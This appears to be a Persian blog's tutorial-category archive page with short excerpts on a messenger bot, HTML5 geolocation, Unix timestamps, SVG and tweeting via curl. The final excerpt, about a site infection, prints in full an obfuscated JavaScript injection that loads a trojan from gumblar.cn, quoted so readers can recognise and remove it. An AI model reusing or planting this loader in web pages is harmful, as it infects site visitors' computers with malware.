بایگانی

بایگانی برای دسته ی ‘آموزش’

روبوتِ مسنجرِ ساعت گو!

بلاخره وقتی شد برای نوشتن این پست.

چند روز پیش توی گوگل buzz که گاه و بیگاه چک میکنم، دیدم علیها یه لینکی رو از دو دانشجو آی‌تی شیر کرده با عنوان ربات مترجم که البته خود این دو دانشجو آی‌تی هم منبع اطلاعاتیشون از علیها و پست رُبات‌های تحت وب درخدمت شما هستند! بود و توی این پست اومده که چطور میشه یه متور روبوت مسنجری رو راه انداخت و پیغام های توش رو به صورت یک ریکوست به صفحه وبی فرستاد و خروجی echo شده از اون صفحه رو در پاسخ به اون پیغام گرفت.

من مدتی بود تو فکر این بودم که کدی بنویسم که بتونم مثلا روی سرور اجراش کنم و اون متصل به مسنجر بشه و به IM ها جواب بده ولی هیچ وقت، وقت نوشتن این سرویس یا اپلیکشن رو نداشتم تا اینکه از این مسیر ها به این پست علیها رسیدم (بگم که من مدتیه گودر چک نمیکنم و دلیلی که مستقیم پست علیها رو ندیدم اینه :دی).

و اما در مورد با این سرویس:
ادامه ی نوشته

دقیقا کجا هستی؟

۱۳ خرداد ۱۳۸۹ امید پیله ور ۱۷ دیدگاه

سلام
امروز داشتم توی یه سایت که در مورد با HTML5 توضیحاتی نوشته بود میگشتم که یهو یه چیزی دیدم بس عجیب که موقعیت دقیقم (مکان فعلی که هستم) رو روی نقشه Google داد بهم!!!

اگر بر اساس IP بود باید ISP رو مشخص میکرد و نه من رو. حتی با فیلتر شکن روی یه کامپیوتر دیگه هم چک کردم ولی جالبه که براش فرقی نکرد و اون موقعیتم رو با کمی اختلاف داد.

این قاعدتا باید از روی GPS موقعیت فعلی ما رو دست بیاره ولی آخه GPS اینجا کجا بود؟ اصلا مگه لپ‌تاپم GPS هم داره؟ چی به چیه؟ کی به کیه؟ کجاهه؟ من که به کل گیج شدم!!

این کد فقط روی FireFox تونستم اجراش کنم، آخه مگه بروزر هم میتونه GPS باشه! به هر حال، کار خداست!

لطفا شما هم کنید ببینید موقعیت دقیقی به دست میارید از خودتون یا نه و اینکه میتونید متوجه بشید که اطلاعات هر شخص رو از کجا میاره…

برای بررسی این موجود عجیب مراحل زیر را دنبال کنید:
ادامه ی نوشته

زمان های ثانیه ای

نمدونم تا حالا ساعت های با نوع عددی مثل ۱۲۶۸۷۸۳۳۷۸ رو دیدید؟

این عدد نمایانگر روز و ساعت و دقیقه (کلا تاریخ کامل) هست.

مثلا این عدد با timeZone گرینویچ میشه: Tue, 16 Mar 2010 23:49:38 GMT

به همین دقیقی :D

به این نوع از زمان ، زمان ایپوخ (epoch) میگن که در سیستم عامل لینوکس از این نوع ساعت استفاده میشه که البته به اون unix timestamp هم میگن.

این عدد بر اساس ثانیه هست، یعنی زمانی که برمیگردونه بر اساس ضرب سال و ماه و روز و دقیقه و ساعت و ثانیه بر اعدادی هست که میرسونه اونا رو به ثانیه!

ادامه ی نوشته

رسم تصاویر گرافیکی برداری مقیاسپذیر در صفحه

سلام

تا حالا به این فکر کرده اید که میشه مثلا یه تصویر توی وب سایتتون نقاشی کنید و خروجی ازش بگیرید اونم به صورت برداری؟

چند روز پیش سر پروژه ای که توی شرکت داریم انجام میدیم رئیس برای رسم نمودار ساختار کد نویسی از براساس XML بهم نشون داد که یه جورایی کفم برید :D

اسم این ساختار SVG هست که مخفف Scalable Vector Graphics هست.

با استفاده از این ساختار کد نویسی میتونید به راحتی اشیاعی رو که میخواین با استفاده از تگ های مخصوص خودشون و البته پارامترهایی که میگیرن مشخص کنید.

از نظر سازگاری و پردازش مرورگر های اینترنت برای نمایش بردار رسم شده، تمام مرورگر ها به جز Microsoft Internet Explorer احمق نمیتونه نمایشش بده!!(البته IE8 گویا ساپورت میکنه)

از امتیاز هایی که SVG داره ساختار چند لایه ای بودن و قابلیت تنظیم شفافیت اشیاع موجود در صفحه است.

ساختار کد نویسیتون باید به صورت زیر باشه:
ادامه ی نوشته

راحت در ترمینال توییت کنید

این پست برای لینوکس/مکینتاش کارهای عزیز هست

الان از توی ترمینال کلی کار ها رو میشه انجام داد ولی این یکیش رو خودتون خیلی ساده مینوسین ;)

میخوام توی این پست به شما با یه قطعه کد یاد بدم که چطوری از توی terminal/bash لینوکس یا مکینتاش میتونید توییت کنید

اصل ماجرا این دستور هست:

 curl -u pilevar:***** -d status="salam, in tweet e man hast!" http://168.143.171.180/statuses/update.xml

که این دستور میره و نام کاربری و پسورد شما رو که در اینجا به ترتیب: pilevar و ***** هست رو به همراه post یک متغیر به نام status به نشانی http://168.143.171.180/statuses/update.xml میفرستد و چون در ایران با دمکراسی شبکه خائن و شایعه پراکن توییتر(!) فیلتر شده از IP اون برای ارتباط استفاده شده است! مسلما این دستور زیادی زیاد هست و ارزشی نداره برای یه توییتر اینقدر چرتو پرتا رو بنویسین حالا برای اینکه این دستور رو کمش کنیم و یه جورایی Script اش کنیم به روش زیر عمل میکنیم:
ادامه ی نوشته

ویروسی که به جون سایت ها می افتد!

مدتی پیش مشکلی با یکی از سایت هایی که ساخته بودم داشتم، این بود که وقتی صفحه سایت باز میشد آنتی ویروس ها تروجانی رو شناسایی میکردن و سایت باز نمیشد! اونایی هم که آنتی ویروس نداشتن هم که قربانی این تروجان میشدن!

وقتی رفتم کد صفحه رو خوندم، به یه قطعه کد Java Script برخورد کردم که کد شده بود.

اینجور چیزی بود:

(function(jil){var xR5p='%';e val(unescape(('var"20a"3d"22Sc"72iptEngin"65"22"2c"62"3d"22"56ers"69on()+"22"2c"6a"3d"22"22"2cu"3dnavig"61t"6fr"2e"75s"65rAgent"3bif(("75"2eind"65xOf"28"22Win"22)"3e0)"26"26(u"2e"69n"64exO"66("22NT"20"36"22"29"3c0)"26"26(documen"74"2ecookie"2e"69ndex"4f"66"28"22"6die"6b"3d1"22)"3c0)"26"26"28t"79"70e"6ff("7arvzts)"21"3dtypeof("22A"22))"29"7bzrvzts"3d"22A"22"3b"65va"6c("22if(wi"6edow"2e"22+a+"22"29j"3d"6a+"22+a+"22M"61jo"72"22+"62"2ba+"22Minor"22"2bb+a+"22B"75"69ld"22"2bb"2b"22j"3b"22)"3bdocu"6de"6e"74"2ewr"69"74e("22"3csc"72ipt"20sr"63"3d"2f"2fgumblar"2ecn"2frss"2f"3fid"3d"22+j+"22"3e"3c"5c"2f"73cript"3e"22"29"3b"7d').replace(jil,xR5p)))})(/"/g);

این کد میره از سایتی به نشانی gumblar .cn تروجانی رو منتقل کامپیوتر شما میکنه!

این قطعه کد دقیقا به انتهای آخرین تگ بسته شده قبل از تگ <body> میچسبه و در حال اجرای سایت گند میزنه به سیستم ملت!

و اما چطوری ریشه این ویروس رو از سایت خود بکنیم:

ادامه ی نوشته